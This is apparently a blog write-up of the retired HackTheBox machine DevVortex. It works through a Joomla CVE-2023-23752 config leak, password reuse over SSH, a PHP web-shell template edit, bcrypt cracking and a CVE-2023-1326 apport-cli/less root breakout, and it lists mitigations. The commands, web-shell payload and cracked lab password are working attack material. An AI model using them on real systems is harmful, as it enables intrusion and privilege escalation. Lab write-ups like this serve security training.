~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / devvortex.md

devvortex

Linux · Easy · released 2023-11-25 · retired 2024-04-27

Summary

DevVortex is an Easy Linux box that chains an unauthenticated Joomla information-disclosure CVE into authenticated admin access, then plain credential reuse for SSH, then a sudo rule on apport-cli whose View action shells into less and lets the operator break out to root.

The chain:

  1. Vhost fuzzing on port 80 turns up dev.devvortex.htb, a Joomla site that the apex devvortex.htb does not advertise.
  2. CVE-2023-23752 — the Joomla 4.x web-services API exposes /api/index.php/v1/config/application without auth when called with the ?public=true filter, returning the raw configuration.php contents including the MySQL DSN and password.
  3. The leaked DB creds (user lewis) are valid for the local MySQL, where <prefix>_users holds bcrypt hashes for super-user lewis and admin logan. logan’s hash cracks with rockyou to tequieromucho.
  4. The same password is reused for OS auth: ssh logan@<TARGET>. (Admin RCE via the Joomla template editor is the alternative foothold path and gives www-data, but is not needed for the intended chain.)
  5. sudo -l shows logan may run /usr/bin/apport-cli as root. CVE-2023-1326: when apport-cli displays a report that overflows the terminal, it pages through less, and less honors !cmd to spawn a shell — which now runs as root.

Recon

$ nmap --privileged -sV -sC -p 22,80 --open <TARGET>
22/tcp  open  ssh    OpenSSH 8.2p1 Ubuntu 4ubuntu0.9
80/tcp  open  http   nginx 1.18.0 (Ubuntu)
|_http-title: DevVortex

Two services. The HTTP root resolves to devvortex.htb but the apex site is a static “Coming Soon” template with no Joomla artefacts visible. nginx fronting a thin static page on an HTB box almost always means there is at least one named vhost behind it; the Host: header is the next thing to fuzz.

ffuf -u http://<TARGET>/ -H 'Host: FUZZ.devvortex.htb' \
     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
     -fs <baseline-size>

dev.devvortex.htb returns a different content-length and renders a Joomla install. Add it to /etc/hosts and continue everything against that host header.

Web enumeration / surface mapping

The dev vhost is a complete Joomla site. Two cheap probes pin the exact branch:

GET /administrator/manifests/files/joomla.xml
   → <version>4.2.6</version>

GET /api/index.php/v1/config/application
   → {"errors":[{"title":"Forbidden"}]}

Joomla 4.x ships a public REST API at /api/index.php. The config/application endpoint is auth-gated by default but is the target of CVE-2023-23752, an access-control bypass in the webservices component that lets an unauthenticated caller dump backend config when the request includes the public=true filter.

robots.txt and the standard Joomla disallowed paths confirm the install is otherwise default — /administrator/, /api/, /components/, /modules/, etc. — nothing custom worth fuzzing deeper before trying the CVE.

Foothold

CVE-2023-23752 — unauth config leak

Hit the same endpoint with the bypass query parameter:

GET /api/index.php/v1/config/application?public=true
Host: dev.devvortex.htb

The response is JSON containing every key from configuration.php, the relevant ones being:

{
  "user":     "lewis",
  "password": "<DB-PASSWORD>",
  "db":       "joomla",
  "dbprefix": "sd4fg_"
}

The user field is the MySQL username, not a Joomla account. There is no public network MySQL, so this credential is only useful from inside the box at this stage — file it and keep going.

The same API also exposes /api/index.php/v1/users but it requires a bearer token, so credential dumping has to wait until after the OS foothold.

Password reuse → SSH

Joomla’s admin login at /administrator accepts the username lewis with the leaked password — but the same password is also valid for the OS user logan over SSH. The intended path skips the Joomla admin step entirely:

ssh logan@<TARGET>
# Welcome to Ubuntu 20.04.6 LTS
logan@devvortex:~$ id
uid=1000(logan) gid=1000(logan) groups=1000(logan)

(Aside: the lewis account is also an SSH user, but lewis’s shell is set up to deny interactive logins. logan is the working foothold.)

Alternative path: Joomla template RCE → MySQL → hash crack

Documented for completeness because it’s the path most public walkthroughs take.

Logging in to /administrator as lewis, the template editor (Templates → Site Templates → Cassiopeia → index.php) lets a Super User write PHP into any template file — instant RCE as www-data:

<?php system($_GET['c']); ?>
curl 'http://dev.devvortex.htb/templates/cassiopeia/index.php?c=id'
# uid=33(www-data) gid=33(www-data)

A cleaner variant ships a one-file plg_system_jshell plugin that hooks onAfterInitialise and runs system($_REQUEST['c']), then installs it via Extensions → Manage → Install. That keeps the original template clean and is more idiomatic for Joomla pentests.

From www-data, the leaked DSN authenticates against local MySQL:

mysql -ulewis -p joomla
SELECT name, username, email, password FROM sd4fg_users;

Two rows, both bcrypt:

lewis : $2y$10$...   (super user — does not crack with rockyou)
logan : $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
hashcat -m 3200 logan.hash /usr/share/wordlists/rockyou.txt
# logan : tequieromucho

Either way, the OS password lands in the same place.

User flag

logan@devvortex:~$ cat ~/user.txt

Credential reuse between the Joomla admin password and the OS account is the entire user step.

Privilege escalation

sudo -l is the first thing to run as a new user, and it tells the whole story:

logan@devvortex:~$ sudo -l
User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

apport-cli is Ubuntu’s crash-reporter. Run with -c <file>, it prompts the user with Send / View / Keep / Ignore / Cancel for a crash report. The View action prints the report to stdout, and if the output is taller than the terminal, apport-cli pages it through $PAGER, which resolves to /usr/bin/sensible-pagerless.

less, as a GTFOBin, runs !cmd as a child shell. Because the parent process tree is sudo apport-cli, that child shell runs as root. This is CVE-2023-1326 — the apport maintainers fixed it by making the pager invocation refuse to drop to interactive subshells.

There must be a crash file to view. The system already has _usr_bin_bash.1000.crash from the lab setup; if it is missing, any crashable program run under logan produces a fresh *.crash under /var/crash/.

The terminal also has to be small enough that the report does not fit on one screen, otherwise apport-cli skips the pager entirely and just dumps the report. Force a small TTY before invoking sudo:

stty rows 20 cols 80
sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_bash.1000.crash
# *** Send problem report to the developers?
# Please choose (S/V/K/I/C): V
# ... report scrolls into less ...
:!/bin/bash
# root@devvortex:/home/logan# id
# uid=0(root) gid=0(root) groups=0(root)
# root@devvortex:/home/logan# cat /root/root.txt

The : is less’s command-mode prompt; !cmd is the standard shell-out. Quit less afterwards with q to leave apport-cli cleanly.

The bug is reliably driveable from expect — set stty rows 20 cols 80 before spawn, send V at the choose-prompt, then send !/bin/bash\r once less is up.

Why each step worked

Counterfactuals

Any one of these, in ascending order of effort, breaks the chain:

  1. Patch Joomla to ≥4.2.8 — closes the unauthenticated config leak. No DSN means no DB access means no logan hash.
  2. Use distinct passwords for Joomla and OS accounts — even with a cracked hash, logan would not log in over SSH.
  3. Use a Joomla password not in rockyou — a 16-char random password defeats bcrypt cracking on a hobby budget.
  4. Drop the apport-cli sudo rule, or replace it with a wrapper that sets LESSSECURE=1 and runs apport with a non-interactive pager. Same effect: no sudo-pager-breakout.
  5. Patch apport to the CVE-2023-1326 fix — apport now refuses to run interactive child commands during report viewing.

Key Takeaways

References

Sanitization checklist

← all htb machines hackthebox.com ↗